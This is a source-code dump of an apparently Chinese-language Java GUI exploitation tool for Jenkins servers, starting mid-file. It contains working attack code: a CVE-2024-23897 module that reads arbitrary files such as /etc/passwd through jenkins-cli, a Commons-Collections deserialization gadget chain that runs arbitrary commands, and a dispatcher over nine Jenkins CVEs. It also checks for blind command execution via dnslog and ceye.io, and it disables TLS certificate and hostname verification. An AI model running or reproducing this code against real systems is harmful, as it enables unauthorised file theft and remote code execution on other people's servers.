CVE_2024_23897 implements ExploitInterface { 14 | 15 | private boolean isVul = false; 16 | private String url = ""; 17 | private Jenkins_Info jenkins_info = new Jenkins_Info(); 18 | 19 | @Override 20 | public String checkVul(String url) { 21 | this.url = url; 22 | String version = jenkins_info.get_Jenkions_Info(url); 23 | if(version==null){ 24 | return "[-] 目标非Jenkins"; 25 | } 26 | String command = "java -jar jenkins-cli.jar -s " + url + " -http help 1 \"@/etc/passwd\""; 27 | String line = ""; 28 | String lines = ""; 29 | try { 30 | Process process = Runtime.getRuntime().exec(command); 31 | BufferedReader reader = new BufferedReader(new InputStreamReader(process.getErrorStream())); 32 | while((line=reader.readLine())!=null){ 33 | lines += line+'\n'; 34 | } 35 | if(lines.contains("root:x:0")){ 36 | this.isVul = true; 37 | return "[+] 目标可能存在CVE-2024-23897 Jenkins CLI 接口任意文件读取漏洞,请从文件读取/命令执行模块输入文件名读取文件,eg:/etc/passwd(只读取第一行);@/etc/passwd(在开启匿名用户可读的情况下可以获取较完整的文件)"; 38 | } 39 | process.waitFor(10, TimeUnit.SECONDS); 40 | } catch (IOException | InterruptedException e) { 41 | e.printStackTrace(); 42 | } 43 | return "[-] 目标可能不存在CVE-2024-23897 Jenkins CLI 接口任意文件读取漏洞"; 44 | } 45 | 46 | @Override 47 | public String exeCmd(String cmd, String encoding) { 48 | String url = this.url; 49 | String line = ""; 50 | String lines = ""; 51 | String payload = ""; 52 | try { 53 | if(cmd.contains("@")){ 54 | payload = "java -jar jenkins-cli.jar -s " + url + " -http connect-node \"payload\""; 55 | }else { 56 | payload = "java -jar jenkins-cli.jar -s " + url + " -http help 1 \"@payload\""; 57 | } 58 | payload = payload.replace("payload", cmd); 59 | System.out.println("exp: "+payload); 60 | Process process = Runtime.getRuntime().exec(payload); 61 | BufferedReader reader = new BufferedReader(new InputStreamReader(process.getErrorStream())); 62 | while((line=reader.readLine())!=null){ 63 | lines += line+'\n'; 64 | } 65 | if(lines.contains("No such file")){ 66 | return "No such file"; 67 | } 68 | if(lines.contains("Failed to parse")){ 69 | return "Failed to parse"; 70 | } 71 | if(cmd.contains("@")){ 72 | String result=""; 73 | String lines3=""; 74 | String regex = "\"(.*?)\""; 75 | Pattern pattern = Pattern.compile(regex); 76 | Matcher matcher = pattern.matcher(lines); 77 | while (matcher.find()) { 78 | result = matcher.group(1); 79 | lines3+=result+"\n"; 80 | } 81 | return "开启了'匿名用户可读'选项,读取"+cmd.replaceAll("@","")+"内容: \n"+lines3; 82 | }else { 83 | String[] lines2 = lines.split("\n"); 84 | for(String line2: lines2){ 85 | if (line2.contains("ERROR: Too many arguments: ")) { 86 | String result = line2.substring(line2.indexOf("ERROR: Too many arguments: ") + "ERROR: Too many arguments: ".length()); 87 | return "读取"+cmd+"内容: "+result; 88 | } 89 | } 90 | } 91 | process.waitFor(10, TimeUnit.SECONDS); 92 | } catch (IOException | InterruptedException e) { 93 | e.printStackTrace(); 94 | } 95 | return null; 96 | } 97 | 98 | 99 | @Override 100 | public boolean isVul() { 101 | return this.isVul; 102 | } 103 | } -------------------------------------------------------------------------------- /src/main/java/fun/fireline/exp/tools/Payload.java: -------------------------------------------------------------------------------- 1 | package fun.fireline.exp.tools; 2 | 3 | import java.io.FileOutputStream; 4 | import java.io.ObjectOutputStream; 5 | import java.io.ObjectStreamException; 6 | import java.io.Serializable; 7 | import java.lang.reflect.Field; 8 | import java.security.KeyPair; 9 | import java.security.KeyPairGenerator; 10 | import java.security.PrivateKey; 11 | import java.security.PublicKey; 12 | import java.security.Signature; 13 | import java.security.SignedObject; 14 | import java.util.Comparator; 15 | import java.util.HashMap; 16 | import java.util.HashSet; 17 | import java.util.Map; 18 | import java.util.concurrent.ConcurrentSkipListSet; 19 | import java.util.concurrent.CopyOnWriteArraySet; 20 | 21 | import net.sf.json.JSONArray; 22 | 23 | import org.apache.commons.collections.Transformer; 24 | import org.apache.commons.collections.collection.AbstractCollectionDecorator; 25 | import org.apache.commons.collections.functors.ChainedTransformer; 26 | import org.apache.commons.collections.functors.ConstantTransformer; 27 | import org.apache.commons.collections.functors.InvokerTransformer; 28 | import org.apache.commons.collections.keyvalue.TiedMapEntry; 29 | import org.apache.commons.collections.map.LazyMap; 30 | import org.apache.commons.collections.map.ReferenceMap; 31 | import org.apache.commons.collections.set.ListOrderedSet; 32 | 33 | public class Payload implements Serializable { 34 | 35 | private Serializable payload; 36 | 37 | private Payload(String cmd) throws Exception { 38 | 39 | this.payload = this.setup(cmd); 40 | 41 | } 42 | 43 | private Serializable setup(String cmd) throws Exception { 44 | final String[] execArgs = new String[] { cmd }; 45 | 46 | final Transformer[] transformers = new Transformer[] { 47 | new ConstantTransformer(Runtime.class), 48 | new InvokerTransformer("getMethod", new Class[] { String.class, 49 | Class[].class }, new Object[] { "getRuntime", 50 | new Class[0] }), 51 | new InvokerTransformer("invoke", new Class[] { Object.class, 52 | Object[].class }, new Object[] { null, new Object[0] }), 53 | new InvokerTransformer("exec", new Class[] { String.class }, 54 | execArgs), new ConstantTransformer(1) }; 55 | 56 | Transformer transformerChain = new ChainedTransformer(transformers); 57 | 58 | final Map innerMap = new HashMap(); 59 | 60 | final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); 61 | 62 | TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo"); 63 | 64 | HashSet map = new HashSet(1); 65 | map.add("foo"); 66 | Field f = null; 67 | try { 68 | f = HashSet.class.getDeclaredField("map"); 69 | } catch (NoSuchFieldException e) { 70 | f = HashSet.class.getDeclaredField("backingMap"); 71 | } 72 | 73 | f.setAccessible(true); 74 | HashMap innimpl = (HashMap) f.get(map); 75 | 76 | Field f2 = null; 77 | try { 78 | f2 = HashMap.class.getDeclaredField("table"); 79 | } catch (NoSuchFieldException e) { 80 | f2 = HashMap.class.getDeclaredField("elementData"); 81 | } 82 | 83 | f2.setAccessible(true); 84 | Object[] array2 = (Object[]) f2.get(innimpl); 85 | 86 | Object node = array2[0]; 87 | if (node == null) { 88 | node = array2[1]; 89 | } 90 | 91 | Field keyField = null; 92 | try { 93 | keyField = node.getClass().getDeclaredField("key"); 94 | } catch (Exception e) { 95 | keyField = Class.forName("java.util.MapEntry").getDeclaredField( 96 | "key"); 97 | } 98 | 99 | keyField.setAccessible(true); 100 | keyField.set(node, entry); 101 | 102 | KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("DSA"); 103 | keyPairGenerator.initialize(1024); 104 | KeyPair keyPair = keyPairGenerator.genKeyPair(); 105 | PrivateKey privateKey = keyPair.getPrivate(); 106 | PublicKey publicKey = keyPair.getPublic(); 107 | 108 | Signature signature = Signature.getInstance(privateKey.getAlgorithm()); 109 | SignedObject payload = new SignedObject(map, privateKey, signature); 110 | JSONArray array = new JSONArray(); 111 | 112 | array.add("asdf"); 113 | 114 | ListOrderedSet set = new ListOrderedSet(); 115 | Field f1 = AbstractCollectionDecorator.class 116 | .getDeclaredField("collection"); 117 | f1.setAccessible(true); 118 | f1.set(set, array); 119 | 120 | DummyComperator comp = new DummyComperator(); 121 | ConcurrentSkipListSet csls = new ConcurrentSkipListSet(comp); 122 | csls.add(payload); 123 | 124 | CopyOnWriteArraySet a1 = new CopyOnWriteArraySet(); 125 | CopyOnWriteArraySet a2 = new CopyOnWriteArraySet(); 126 | 127 | a1.add(set); 128 | Container c = new Container(csls); 129 | a1.add(c); 130 | 131 | a2.add(csls); 132 | a2.add(set); 133 | 134 | ReferenceMap flat3map = new ReferenceMap(); 135 | flat3map.put(new Container(a1), "asdf"); 136 | flat3map.put(new Container(a2), "asdf"); 137 | 138 | return flat3map; 139 | } 140 | 141 | private Object writeReplace() throws ObjectStreamException { 142 | return this.payload; 143 | } 144 | 145 | private static class Container implements Serializable { 146 | 147 | private Object o; 148 | 149 | private Container(Object o) { 150 | this.o = o; 151 | } 152 | 153 | private Object writeReplace() throws ObjectStreamException { 154 | return o; 155 | } 156 | 157 | } 158 | 159 | static class DummyComperator implements Comparator, Serializable { 160 | 161 | public int compare(Object arg0, Object arg1) { 162 | // TODO Auto-generated method stub 163 | return 0; 164 | } 165 | 166 | private Object writeReplace() throws ObjectStreamException { 167 | return null; 168 | } 169 | 170 | } 171 | 172 | public static void exploit(String cmd) throws Exception { 173 | FileOutputStream out = new FileOutputStream("payload2.ser"); 174 | Payload pwn = new Payload(cmd); 175 | ObjectOutputStream oos = new ObjectOutputStream(out); 176 | oos.writeObject(pwn); 177 | oos.flush(); 178 | out.flush(); 179 | } 180 | } -------------------------------------------------------------------------------- /src/main/java/fun/fireline/exp/tools/dnslogSetting.java: -------------------------------------------------------------------------------- 1 | package fun.fireline.exp.tools; 2 | 3 | public class dnslogSetting { 4 | private static String domain; 5 | private static String token; 6 | private static String type; 7 | 8 | public static String getDomain() { 9 | return domain; 10 | } 11 | 12 | public static void setDomain(String domain) { 13 | dnslogSetting.domain = domain; 14 | } 15 | 16 | public static String getToken() { 17 | return token; 18 | } 19 | 20 | public static void setToken(String token) { 21 | dnslogSetting.token = token; 22 | } 23 | 24 | public static String getType() { 25 | return type; 26 | } 27 | 28 | public static void setType(String type) { 29 | dnslogSetting.type = type; 30 | } 31 | } 32 | -------------------------------------------------------------------------------- /src/main/java/fun/fireline/tools/Cert.java: -------------------------------------------------------------------------------- 1 | package fun.fireline.tools; 2 | 3 | 4 | 5 | import java.security.cert.CertificateException; 6 | import java.security.cert.X509Certificate; 7 | import javax.net.ssl.X509TrustManager; 8 | 9 | public class Cert implements X509TrustManager { 10 | public Cert() { 11 | } 12 | 13 | public void checkClientTrusted(X509Certificate[] chain, String authType) throws CertificateException { 14 | } 15 | 16 | public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException { 17 | } 18 | 19 | public X509Certificate[] getAcceptedIssuers() { 20 | return null; 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /src/main/java/fun/fireline/tools/HttpTools.java: -------------------------------------------------------------------------------- 1 | package fun.fireline.tools; 2 | 3 | import fun.fireline.controller.MainController; 4 | import org.apache.log4j.Logger; 5 | import java.io.ByteArrayOutputStream; 6 | import java.io.IOException; 7 | import java.io.InputStream; 8 | import java.io.OutputStream; 9 | import java.net.HttpURLConnection; 10 | import java.net.Proxy; 11 | import java.net.SocketTimeoutException; 12 | import java.net.URL; 13 | import java.security.KeyManagementException; 14 | import java.security.NoSuchAlgorithmException; 15 | import java.security.NoSuchProviderException; 16 | import java.security.SecureRandom; 17 | import java.util.HashMap; 18 | import java.util.Iterator; 19 | import javax.net.ssl.HostnameVerifier; 20 | import javax.net.ssl.HttpsURLConnection; 21 | import javax.net.ssl.KeyManager; 22 | import javax.net.ssl.SSLContext; 23 | import javax.net.ssl.SSLSession; 24 | import javax.net.ssl.TrustManager; 25 | 26 | 27 | public class HttpTools { 28 | private static String UA = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36"; 29 | 30 | private static final Logger logger = Logger.getLogger(MainController.class); 31 | 32 | public HttpTools() { 33 | } 34 | 35 | public static Response get(String url, HashMap headers, String encoding) { 36 | Response response = new Response(0, (String)null, (String)null, (String)null); 37 | 38 | try { 39 | HttpURLConnection conn = getCoon(url); 40 | conn.setRequestMethod("GET"); 41 | Iterator var4 = headers.keySet().iterator(); 42 | 43 | while(var4.hasNext()) { 44 | String key = (String)var4.next(); 45 | conn.setRequestProperty(key, (String)headers.get(key)); 46 | } 47 | 48 | response = getResponse(conn, encoding); 49 | } catch (SocketTimeoutException var6) { 50 | logger.debug(var6.getMessage()); 51 | response.setError("连接超时!"); 52 | } catch (IOException var7) { 53 | logger.debug(var7.getMessage()); 54 | response.setError(var7.getMessage()); 55 | } catch (KeyManagementException | NoSuchProviderException | NoSuchAlgorithmException var8) { 56 | logger.debug(var8.getMessage()); 57 | response.setError(var8.getMessage()); 58 | } 59 | return response; 60 | } 61 | 62 | public static Response post(String url, String postString, HashMap headers, String encoding) { 63 | Response response = new Response(0, (String)null, (String)null, (String)null); 64 | 65 | try { 66 | HttpURLConnection conn = getCoon(url); 67 | conn.setRequestMethod("POST"); 68 | Iterator var5 = headers.keySet().iterator(); 69 | 70 | while(var5.hasNext()) { 71 | String key = (String)var5.next(); 72 | conn.setRequestProperty(key, (String)headers.get(key)); 73 | } 74 | 75 | OutputStream outputStream = conn.getOutputStream(); 76 | outputStream.write(postString.getBytes()); 77 | outputStream.flush(); 78 | outputStream.close(); 79 | response = getResponse(conn, encoding); 80 | } catch (Exception var8) { 81 | logger.debug(var8.getMessage()); 82 | response.setError(var8.getMessage()); 83 | } 84 | 85 | return response; 86 | } 87 | 88 | private static Response getResponse(HttpURLConnection conn, String encoding) { 89 | Response response = new Response(0, (String)null, (String)null, (String)null); 90 | 91 | try { 92 | conn.connect(); 93 | response.setCode(conn.getResponseCode()); 94 | response.setHead(conn.getHeaderFields().toString()); 95 | response.setText(streamToString(conn.getInputStream(), encoding)); 96 | } catch (IOException var3) { 97 | response.setError(var3.toString()); 98 | logger.debug(var3.toString()); 99 | } 100 | 101 | return response; 102 | } 103 | 104 | private static HttpURLConnection getCoon(String url) throws IOException, NoSuchProviderException, NoSuchAlgorithmException, KeyManagementException { 105 | SSLContext sslcontext = SSLContext.getInstance("SSL", "SunJSSE"); 106 | TrustManager[] tm = new TrustManager[]{new Cert()}; 107 | sslcontext.init((KeyManager[])null, tm, new SecureRandom()); 108 | HostnameVerifier ignoreHostnameVerifier = new HostnameVerifier() { 109 | public boolean verify(String s, SSLSession sslsession) { 110 | logger.debug("WARNING: Hostname is not matched for cert."); 111 | return true; 112 | } 113 | }; 114 | HttpsURLConnection.setDefaultHostnameVerifier(ignoreHostnameVerifier); 115 | HttpsURLConnection.setDefaultSSLSocketFactory(sslcontext.getSocketFactory()); 116 | URL url_object = new URL(url); 117 | HttpURLConnection conn = (HttpURLConnection)url_object.openConnection(); 118 | //代理 119 | Proxy proxy = (Proxy) MainController.settingInfo.get("proxy"); 120 | if(proxy != null) { 121 | conn = (HttpURLConnection)url_object.openConnection(proxy); 122 | } 123 | 124 | conn.setRequestProperty("User-Agent", UA); 125 | conn.setRequestProperty("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9"); 126 | conn.setRequestProperty("Accept-Language","zh-CN,zh;q=0.9"); 127 | conn.setRequestProperty("Connection","close"); 128 | 129 | conn.setConnectTimeout(5000); 130 | conn.setReadTimeout(5000); 131 | conn.setDoOutput(true); 132 | conn.setDoInput(true); 133 | conn.setUseCaches(false); 134 | conn.setInstanceFollowRedirects(false); 135 | return conn; 136 | } 137 | 138 | private static String streamToString(InputStream inputStream, String encoding) { 139 | String resultString = null; 140 | ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); 141 | int len; 142 | byte[] data = new byte[1024]; 143 | 144 | try { 145 | while((len = inputStream.read(data)) != -1) { 146 | byteArrayOutputStream.write(data, 0, len); 147 | } 148 | if(encoding.equals("")) { 149 | encoding = "UTF-8"; 150 | } 151 | resultString = byteArrayOutputStream.toString(encoding); 152 | } catch (IOException var6) { 153 | resultString = var6.getMessage(); 154 | var6.printStackTrace(); 155 | } 156 | 157 | return resultString; 158 | } 159 | } 160 | 161 | -------------------------------------------------------------------------------- /src/main/java/fun/fireline/tools/Jenkins_Info.java: -------------------------------------------------------------------------------- 1 | package fun.fireline.tools; 2 | 3 | import java.io.IOException; 4 | import java.net.HttpURLConnection; 5 | import java.net.URL; 6 | 7 | public class Jenkins_Info { 8 | public static int executionCount=0; 9 | public static String url=""; 10 | public static String xJenkinsHeader=""; 11 | public static String os=""; 12 | 13 | public String getSystem(){ 14 | return this.os; 15 | } 16 | 17 | public String get_Jenkions_Info(String url){ 18 | //每一个url只获取一次信息,换url就重置次数 19 | if(executionCount!=0&&!this.url.equals(url)){ 20 | this.executionCount=0; 21 | } 22 | //如果之前已经获取到了信息,就直接返回获取的信息 23 | if(this.executionCount>=1){ 24 | return this.xJenkinsHeader; 25 | } 26 | this.url = url; 27 | this.os = System.getProperty("os.name").toLowerCase(); 28 | this.executionCount++; 29 | try{ 30 | URL urlObj = new URL(url); 31 | HttpURLConnection connection = (HttpURLConnection) urlObj.openConnection(); 32 | connection.setRequestMethod("GET"); 33 | this.xJenkinsHeader = connection.getHeaderField("X-Jenkins"); 34 | if(xJenkinsHeader!=null){ 35 | return this.xJenkinsHeader; 36 | }else { 37 | return null; 38 | } 39 | } catch (IOException e) { 40 | e.printStackTrace(); 41 | } 42 | return null; 43 | } 44 | } 45 | -------------------------------------------------------------------------------- /src/main/java/fun/fireline/tools/Response.java: -------------------------------------------------------------------------------- 1 | package fun.fireline.tools; 2 | 3 | 4 | public class Response { 5 | private int code; 6 | private String head; 7 | private String text; 8 | private String error; 9 | 10 | public Response() { 11 | } 12 | 13 | public Response(int code, String head, String text, String error) { 14 | this.code = code; 15 | this.head = head; 16 | this.text = text; 17 | this.error = error; 18 | } 19 | 20 | public int getCode() { 21 | return this.code; 22 | } 23 | 24 | public void setCode(int code) { 25 | this.code = code; 26 | } 27 | 28 | public String getHead() { 29 | return this.head; 30 | } 31 | 32 | public void setHead(String head) { 33 | this.head = head; 34 | } 35 | 36 | public String getText() { 37 | return this.text; 38 | } 39 | 40 | public void setText(String text) { 41 | this.text = text; 42 | } 43 | 44 | public String getError() { 45 | return this.error; 46 | } 47 | 48 | public void setError(String error) { 49 | this.error = error; 50 | } 51 | } 52 | 53 | -------------------------------------------------------------------------------- /src/main/java/fun/fireline/tools/Tools.java: -------------------------------------------------------------------------------- 1 | package fun.fireline.tools; 2 | 3 | // http 请求对象,取自 shack2 的Java反序列化漏洞利用工具V1.7 4 | 5 | import fun.fireline.core.ExploitInterface; 6 | import fun.fireline.exp.jenkins.*; 7 | import fun.fireline.exp.tools.dnslogSetting; 8 | 9 | import java.io.IOException; 10 | import java.util.HashMap; 11 | import java.util.Random; 12 | 13 | public class Tools { 14 | public Tools() { 15 | } 16 | 17 | 18 | public static String urlParse(String url) { 19 | if (!url.contains("http")) { 20 | url = "http://" + url; 21 | } 22 | 23 | if (url.endsWith("/")) { 24 | url = url.substring(0, url.length() - 1); 25 | } 26 | 27 | return url; 28 | } 29 | 30 | 31 | // 根据选择对应的漏洞检测 32 | public static ExploitInterface getExploit(String vulName) { 33 | ExploitInterface ei = null; 34 | 35 | // Jenkins相关漏洞 36 | if(vulName.contains("CVE-2015-8103")){ 37 | ei = new CVE_2015_8103(); 38 | } else if(vulName.contains("CVE-2016-0792")){ 39 | ei = new CVE_2016_0792(); 40 | }else if(vulName.contains("CVE-2017-1000353")){ 41 | ei = new CVE_2017_1000353(); 42 | } else if(vulName.contains("CVE-2018-1000600")){ 43 | ei = new CVE_2018_1000600(); 44 | }else if(vulName.contains("CVE-2018-1000861")) { 45 | ei = new CVE_2018_1000861(); 46 | } else if(vulName.contains("CVE-2018-1999002")){ 47 | ei = new CVE_2018_1999002(); 48 | }else if(vulName.contains("CVE-2019-1003000")){ 49 | ei = new CVE_2019_1003000(); 50 | }else if(vulName.contains("CVE-2019-1003005")){ 51 | ei = new CVE_2019_1003005(); 52 | }else if(vulName.contains("CVE-2024-23897")) { 53 | ei = new CVE_2024_23897(); 54 | } 55 | 56 | return (ExploitInterface) ei; 57 | } 58 | 59 | //判断Jenkins 普通版本和LTS版本 60 | public static boolean compare1(String version){ 61 | int count = version.split("\\.").length - 1; 62 | if(count==1){ 63 | return true; 64 | }else{ 65 | return false; 66 | } 67 | } 68 | 69 | //比较版本 70 | public static int compare2(String version1, String version2) { 71 | String[] v1 = version1.split("\\."); 72 | String[] v2 = version2.split("\\."); 73 | int length = Math.max(v1.length, v2.length); 74 | for (int i = 0; i < length; i++) { 75 | double num1 = (i < v1.length) ? Double.parseDouble(v1[i]) : 0; 76 | double num2 = (i < v2.length) ? Double.parseDouble(v2[i]) : 0; 77 | if (num1 < num2) { 78 | return -1; 79 | } else if (num1 > num2) { 80 | return 1; 81 | } 82 | } 83 | return 0; 84 | } 85 | 86 | //先判断出是普通版本还是LTS版本,然后再进行比较 87 | public static boolean compareVersion(String version1,String version2,String version3){ 88 | if(compare1(version1)){ 89 | if(compare2(version1,version2)<=0){ 90 | return true; 91 | } 92 | }else { 93 | if(compare2(version1,version3)<=0){ 94 | return true; 95 | } 96 | } 97 | return false; 98 | } 99 | 100 | //dnslog api验证无回显命令执行 101 | public static boolean dnslog_verify(dnslogSetting dnslogSetting,String vul){ 102 | //目的是防止请求api过于频繁造成误差 103 | try { 104 | Thread.sleep(1000); 105 | } catch (InterruptedException e) { 106 | e.printStackTrace(); 107 | } 108 | String domain = dnslogSetting.getDomain(); 109 | String token = dnslogSetting.getToken(); 110 | String type = dnslogSetting.getType(); 111 | String user = domain.split("\\.")[0]; 112 | String verify = ""; 113 | HashMap headers = new HashMap<>(); 114 | if(type.equals("dnslog.pw")){ 115 | verify = String.format("http://dnslog.pw/api/dns/%s/%s/?token=%s",user,vul,token); 116 | Response response = HttpTools.get(verify,headers,"UTF-8"); 117 | if(response.getText().contains("True")){ 118 | return true; 119 | }else { 120 | return false; 121 | } 122 | }else if(type.equals("ceye.io")){ 123 | verify = String.format("http://api.ceye.io/v1/records?token=%s&type=dns&filter=%s",token,vul); 124 | Response response = HttpTools.get(verify,headers,"UTF-8"); 125 | if(response.getText().contains("id")){ 126 | return true; 127 | }else { 128 | return false; 129 | } 130 | } 131 | return false; 132 | } 133 | 134 | // 生成随机字符 135 | public static String getRandomString(int length) { 136 | String str = "abcdefghijklmnopqrstuvwxyz0123456789"; 137 | Random random = new Random(); 138 | StringBuilder sb = new StringBuilder(); 139 | 140 | for(int i = 0; i < length; ++i) { 141 | int number = random.nextInt(36); 142 | sb.append(str.charAt(number)); 143 | } 144 | return sb.toString(); 145 | } 146 | 147 | } -------------------------------------------------------------------------------- /src/main/resources/css/main.css: -------------------------------------------------------------------------------- 1 | .jfx-button { 2 | -jfx-button-type: RAISED; 3 | -fx-text-fill: #000; 4 | -fx-font-size: 16; 5 | } 6 | 7 | /*!* 鼠标悬停时,按钮突出 *!*/ 8 | .jfx-button:hover{ 9 | -fx-background-color: white; 10 | } 11 | 12 | /* 按钮选中时,按钮突出 */ 13 | .jfx-button:focused{ 14 | -fx-background-color: white; 15 | } 16 | 17 | /* 修改Tab中文本的颜色 */ 18 | .tab-label { 19 | -fx-text-fill: #383838; 20 | } 21 | 22 | 23 | /* 子代选择器,Tab选中的时候选择其子元素tab-label */ 24 | .tab:selected .tab-label { 25 | -fx-text-fill: #1E90FF; 26 | } 27 | 28 | /* 修改Tab中背景颜色*/ 29 | .jfx-tab-pane .headers-region { 30 | -fx-background-color: #fff; 31 | } 32 | .jfx-tab-pane .tab-header-background { 33 | -fx-background-color: #fff; 34 | } 35 | 36 | 37 | #oa { 38 | -fx-font-size: 14; 39 | } 40 | 41 | -------------------------------------------------------------------------------- /src/main/resources/fxml/Jenkins.fxml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 106 | 107 | 108 | 109 | 110 | 111 | 112 | 113 | -------------------------------------------------------------------------------- /src/main/resources/fxml/Main.fxml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 57 | 62 | 67 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | -------------------------------------------------------------------------------- /src/main/resources/img/sec.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TheBeastofwar/JenkinsExploit-GUI/2b0234e3236b9888788a66ce103ae5dbacc5fcda/src/main/resources/img/sec.png -------------------------------------------------------------------------------- /src/main/resources/log4j.properties: -------------------------------------------------------------------------------- 1 | ### 设置### 2 | log4j.rootLogger = debug,stdout,D 3 | 4 | ### 输出信息到控制抬 ### 5 | log4j.appender.stdout = org.apache.log4j.ConsoleAppender 6 | log4j.appender.stdout.Target = System.out 7 | log4j.appender.stdout.layout = org.apache.log4j.PatternLayout 8 | log4j.appender.stdout.layout.ConversionPattern = [%-5p] %d{yyyy-MM-dd HH:mm:ss,SSS} method:%l%n%m%n 9 | 10 | #### 输出DEBUG 级别以上的日志到=/home/duqi/logs/debug.log ### 11 | log4j.appender.D = org.apache.log4j.DailyRollingFileAppender 12 | log4j.appender.D.File = logs/debug.log 13 | log4j.appender.D.Append = true 14 | log4j.appender.D.Threshold = DEBUG 15 | log4j.appender.D.layout = org.apache.log4j.PatternLayout 16 | log4j.appender.D.layout.ConversionPattern = %-d{yyyy-MM-dd HH:mm:ss} [ %t:%r ] - [ %p ] %m%n 17 | 18 | #### 输出ERROR 级别以上的日志到=/home/admin/logs/error.log ### 19 | #log4j.appender.E = org.apache.log4j.DailyRollingFileAppender 20 | #log4j.appender.E.File =logs/error.log 21 | #log4j.appender.E.Append = true 22 | #log4j.appender.E.Threshold = ERROR 23 | #log4j.appender.E.layout = org.apache.log4j.PatternLayout 24 | #log4j.appender.E.layout.ConversionPattern = %-d{yyyy-MM-dd HH:mm:ss} [ %t:%r ] - [ %p ] %m%n --------------------------------------------------------------------------------